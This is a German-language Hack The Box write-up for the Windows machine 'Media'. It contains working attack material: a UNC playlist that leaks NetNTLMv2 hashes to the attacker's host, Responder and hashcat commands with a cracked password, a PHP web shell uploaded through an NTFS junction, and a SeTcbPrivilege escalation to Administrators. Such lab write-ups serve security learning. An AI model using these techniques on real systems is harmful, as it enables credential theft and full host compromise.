HTB · published
Media
Hack The Box CPTS-Track Writeup für Media: UNC-basierter NetNTLMv2-Capture, Credential Cracking, SSH-Foothold, NTFS Junction Webroot Write und SeTcbPrivilege Abuse.
Metadaten
- Name: Media
- IP Address:
10.129.234.67 - Plattform: Windows
- Kategorie: Web / NTLM Capture / Windows Privilege Escalation
- Schwierigkeit: Medium
- Ziel(e): User, Administrator
- Kurzbeschreibung des Szenarios: Media ist eine Windows-Box mit Apache/PHP, OpenSSH und RDP. Der initiale Zugriff entsteht durch ein Upload-Feature, das Windows Media Player-kompatible Dateien verarbeitet und dadurch eine UNC-basierte NTLM-Authentifizierung auslöst. Die Privilege Escalation kombiniert einen vorhersagbaren Upload-Pfad, eine NTFS Junction in den Webroot und
SeTcbPrivilegeimLOCAL SERVICE-Kontext.
Reconnaissance/ Enumeration
initscan:
nmap -p- --min-rate 5000 -vv -oN scans/tcp_full.nmap 10.129.234.67
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3389/tcp open ms-wbt-server
servicescan:
nmap -sC -sV -O -p22,80,3389 --version-all -oN scans/tcp_initial_svco.nmap 10.129.234.67
22/tcp open ssh OpenSSH for_Windows_9.5
80/tcp open http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.1.17)
|_http-title: ProMotion Studio
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: MEDIA
| NetBIOS_Domain_Name: MEDIA
| NetBIOS_Computer_Name: MEDIA
| DNS_Domain_Name: MEDIA
| Product_Version: 10.0.20348
Wichtige Erkenntnisse:
- Hostname:
MEDIA - OS: Windows Server 2022 / Build
10.0.20348 - Webserver: Apache auf Windows mit PHP
- SSH: OpenSSH for Windows
- RDP: aktiv und leakt Hostinformationen
Die Website zeigte eine ProMotion-Studio-Seite mit Hiring-/Upload-Formular. Für Bewerbungen sollte ein Intro-Video hochgeladen werden.
<input class="form-control" id="firstname" name="firstname" type="text" />
<input class="form-control" id="lastname" name="lastname" type="text" />
<input class="form-control" id="email" name="email" type="email" />
<input class="form-control" id="fileToUpload" name="fileToUpload" type="file" />
Fuzzing fand hauptsächlich statische Assets und eingeschränkte XAMPP-Pfade. Es gab kein direkt nutzbares Admin-Panel.
Exploitation (Foothold)
UNC Callback über Media-Playlist
Das Upload-Feature war für Windows Media Player-kompatible Dateien gedacht. Dadurch lag die Idee nahe, eine Playlist mit UNC-Referenz hochzuladen, damit der Review-Prozess eine SMB-Verbindung zum Angreifer aufbaut.
Beispiel intro.asx:
<ASX version="3.0">
<ENTRY>
<TITLE>Candidate Intro</TITLE>
<REF HREF="\\10.10.15.109\media\intro.wmv" />
</ENTRY>
</ASX>
Zusätzlich wurden Varianten wie .wvx und .m3u getestet. Der Upload wurde akzeptiert:
Your application was successfully submitted. Our HR shall review your video and get back to you.
Parallel lief Responder auf dem VPN-Interface:
responder -I tun0
Beim Review der hochgeladenen Datei wurde ein NetNTLMv2-Hash für MEDIA\enox gecaptured:
enox::MEDIA:d57819d096de147d:...
Hash Cracking
Der Hash wurde mit Hashcat Modus 5600 gegen rockyou.txt geknackt:
hashcat -m 5600 loot/enox_netntlmv2_one.txt /usr/share/wordlists/rockyou.txt
MEDIA\enox:1234virus@
Credentials:
enox / 1234virus@
Da SSH offen war, konnte direkt eine Shell aufgebaut werden:
ssh enox@10.129.234.67
User Flag:
21606[REDACTED-USER-FLAG]57f4
Lateral Movement / User Escalation
Ein klassisches Lateral Movement war nicht nötig. Nach dem SSH-Foothold lag der Fokus auf lokaler Enumeration.
Interessant war zuerst das Review-Script:
C:\Users\enox\Documents\review.ps1
Auszug:
$todofile="C:\Windows\Tasks\Uploads\todo.txt"
$mediaPlayerPath = "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
Start-Process -FilePath $mediaPlayerPath -ArgumentList "C:\Windows\Tasks\uploads\$randomVariable\$filename"
Das bestätigt den initialen Angriffsweg: hochgeladene Dateien landen unter C:\Windows\Tasks\Uploads\... und werden durch Windows Media Player geöffnet.
Der zugehörige Service lief als .\enox:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ReviewService
ObjectName REG_SZ .\enox
AppParameters REG_EXPAND_SZ -ExecutionPolicy Bypass -NoProfile -File C:\Users\enox\Documents\review.ps1
Damit war klar, warum die UNC-Playlist den Hash von enox ausgelöst hat.
Privilege Escalation (Root / Domain)
Upload-Logik und vorhersagbarer Pfad
Die Web-App lief unter XAMPP. In C:\xampp\htdocs\index.php war die Upload-Logik erkennbar:
$uploadDir = 'C:/Windows/Tasks/Uploads/';
$folderName = md5($firstname . $lastname . $email);
$sanitizedFilename = preg_replace("/[^a-zA-Z0-9._]/", "", $originalFilename);
Der Upload-Pfad war dadurch vorhersagbar:
C:\Windows\Tasks\Uploads\<md5(firstname+lastname+email)>
Für die Werte test, test, test@email.com ergibt sich:
md5("testtesttest@email.com") = 8fdbbe5a9c61c7d3740ef58f5f4c93ef
Die ACLs waren der entscheidende Punkt:
C:\Windows\Tasks\Uploads Everyone:(OI)(CI)(F)
C:\xampp\htdocs BUILTIN\Users:(I)(OI)(CI)(RX)
C:\xampp\htdocs NT AUTHORITY\LOCAL SERVICE:(I)(OI)(CI)(F)
enox konnte den Webroot nicht direkt beschreiben, aber C:\Windows\Tasks\Uploads war für Everyone voll beschreibbar.
NTFS Junction in den Webroot
Deshalb wurde der vorhersagbare Upload-Ordner als Junction auf den Webroot gelegt:
mklink /J C:\Windows\Tasks\Uploads\8fdbbe5a9c61c7d3740ef58f5f4c93ef C:\xampp\htdocs
Anschließend wurde eine PHP-Webshell ganz normal über das Bewerbungsformular hochgeladen:
<?php system($_REQUEST['cmd']); ?>
Upload:
curl -X POST http://10.129.234.67/ \
-F firstname=test \
-F lastname=test \
-F email=test@email.com \
-F 'fileToUpload=@web/shell.php;filename=shell.php;type=video/x-ms-asf'
Durch die Junction landete shell.php nicht nur im Upload-Bereich, sondern effektiv im Webroot:
http://10.129.234.67/shell.php?cmd=whoami
Ausgabe:
nt authority\local service
SeTcbPrivilege Abuse
Der LOCAL SERVICE-Kontext hatte eine sehr gefährliche Berechtigung:
Privilege Name Description State
============================= =================================== ========
SeTcbPrivilege Act as part of the operating system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTcbPrivilege ist selten und sehr mächtig. Ein vorbereiteter Helper seTcb.exe wurde hochgeladen und über die Webshell ausgeführt, um enox zur lokalen Administratorengruppe hinzuzufügen:
C:\Windows\Tasks\Uploads\seTcb.exe CodexTcb "cmd.exe /c net localgroup Administrators enox /add"
Der Helper gab zwar einen Service-Fehler zurück:
Error starting service 1053
Trotzdem wurde der Payload ausgeführt. Die Administratorengruppe bestätigte danach enox als Mitglied:
Alias name Administrators
Members
-------------------------------------------------------------------------------
Administrator
enox
The command completed successfully.
Nach einem frischen SSH-Login hatte enox einen High-Integrity-Admin-Token:
BUILTIN\Administrators Enabled group, Group owner
Mandatory Label\High Mandatory Level
Root Flag:
b27f5[REDACTED-ROOT-FLAG]9b8a
Post-Exploitation
- User Flag:
21606[REDACTED-USER-FLAG]57f4 - Root Flag:
b27f5[REDACTED-ROOT-FLAG]9b8a - Credentials:
enox / 1234virus@ - Wichtige Dateien:
C:\Users\enox\Documents\review.ps1,C:\xampp\htdocs\index.php,C:\Windows\Tasks\Uploads\todo.txt - Wichtige Technik: UNC Playlist → NetNTLMv2 Capture → SSH → Junction Webroot Write →
LOCAL SERVICE→SeTcbPrivilege
Cleanup:
sc delete CodexTcb
del C:\Windows\Tasks\Uploads\seTcb.exe
del C:\xampp\htdocs\shell.php
rmdir C:\Windows\Tasks\Uploads\8fdbbe5a9c61c7d3740ef58f5f4c93ef
net localgroup Administrators enox /delete
Danach war enox nicht mehr Mitglied der Administratorengruppe:
Members
-------------------------------------------------------------------------------
Administrator
The command completed successfully.
Lessons Learned
- Windows-Media-Playlist-Formate wie
.asx,.wvxoder.m3ukönnen UNC-Pfade referenzieren und dadurch NetNTLMv2-Captures auslösen. - Upload-Funktionen sind nicht nur wegen Dateiendungen interessant. Der serverseitige Speicherpfad und Review-Prozess sind oft wichtiger als der Upload selbst.
- Vorhersagbare Upload-Ordner plus beschreibbare NTFS Junctions können aus einem harmlosen Upload eine Webroot-Write primitive machen.
LOCAL SERVICEist nicht automatisch uninteressant. Entscheidend sind die Token-Privilegien.SeTcbPrivilegesollte sofort hell blinken. Auch wenn ein Tool mit Fehler1053endet, kann der Payload trotzdem ausgeführt worden sein.
Notizen
- Bei Windows-Webservern immer prüfen, unter welchem Benutzer Apache/PHP läuft.
- Wenn Uploads asynchron verarbeitet werden, lohnt sich ein Blick auf Queue-/Todo-Dateien.
- Bei Hash-Capture-Angriffen mehrere kompatible Dateiformate testen, nicht nur ein Format.
- Nach Gruppenänderungen frische SSH-/RDP-Session starten, damit der neue Token die Gruppenmitgliedschaft enthält.
- Bei Junction-Techniken immer sauber aufräumen, damit keine Weiterleitung in sensible Pfade liegen bleibt.